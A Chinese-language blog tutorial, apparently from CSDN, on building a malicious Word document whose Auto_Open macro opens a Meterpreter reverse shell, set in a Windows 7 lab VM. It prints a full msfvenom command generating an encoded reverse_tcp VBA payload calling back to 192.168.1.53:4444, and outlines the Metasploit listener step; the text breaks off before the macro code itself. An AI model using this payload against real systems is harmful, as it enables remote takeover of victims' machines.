网络安全kali之利用宏感染word文档获取shell

极客事纪

已于 2023-03-28 15:36:56 修改

阅读量8.2k

点赞数

分类专栏：网络安全程序员码农文章标签：网络安全 kali word

于 2022-03-25 17:02:01 首次发布

本文链接：https://blog.csdn.net/xueshenlaila/article/details/123738732

版权

本教程介绍了如何在Kali系统中通过宏病毒来感染Word文档，从而获取shell。首先在Win7虚拟机上安装Office 2016，然后生成宏代码和payload。在Word中创建宏命名为Auto_Open，粘贴宏代码，并将payload放入正文。保存文档后，通过Metasploit框架设置监听。打开Word文档，payload会执行并连接到MSF，成功建立session，即使关闭文档session仍然有效。

摘要由CSDN通过智能技术生成

首先将office 2016.zip上传到win7虚拟机上，解压后，安装一下office。

┌──(root💀xuegod53)-[~]
└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -e 
x86/shikata_ga_nai -i 10 -f vba-exe

视频教程

执行完成后会生成2段代码
第一段代码是MACRO CODE [ˈmækrəʊ kəʊd] 宏代码
从这里开始：
在这里插入图片描述
到这里结束：

第二段代码 payload。

注：*号中的内容不要，从这个往下开始复制，如下：